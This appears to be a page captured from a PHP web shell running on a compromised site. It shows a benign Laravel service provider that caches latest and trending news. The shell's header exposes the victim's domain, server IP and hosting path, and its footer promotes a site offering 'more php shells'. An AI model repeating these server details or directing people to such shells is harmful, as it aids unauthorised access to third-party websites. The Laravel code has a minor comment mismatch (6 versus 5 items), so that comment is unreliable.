Domain: amberpublishers.in
Server Adress: 86.38.243.169

privdayz.com

/home/u866425823/domains/newscafeindia.com/app/Providers/
Dosya Yükle :
Current File : //home/u866425823/domains/newscafeindia.com/app/Providers/NewsServiceProvider.php

<?php

namespace App\Providers;

use App\Models\News;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\ServiceProvider;

class NewsServiceProvider extends ServiceProvider
{
    /**
     * Register services.
     */
    public function register(): void
    {
        //
    }

    /**
     * Bootstrap services.
     */
    public function boot()
    {
        view()->composer('*', function ($view) {
            // Fetch the latest 6 news
            $latestNews = Cache::remember('latestNews', 5, function () {
                return News::latest()->take(5)->get();
            });

            // Fetch the top 5 trending news
            $trendingNews = Cache::remember('trendingNews', 5, function () {
                return News::orderBy('views', 'desc')->take(5)->get();
            });

            // return the view with the latest news and trending news
            $view->with('latestNews', $latestNews)->with('trendingNews', $trendingNews);
        });
    }
}

coded by Privdayz.com - Visit https://privdayz.com/ for more php shells.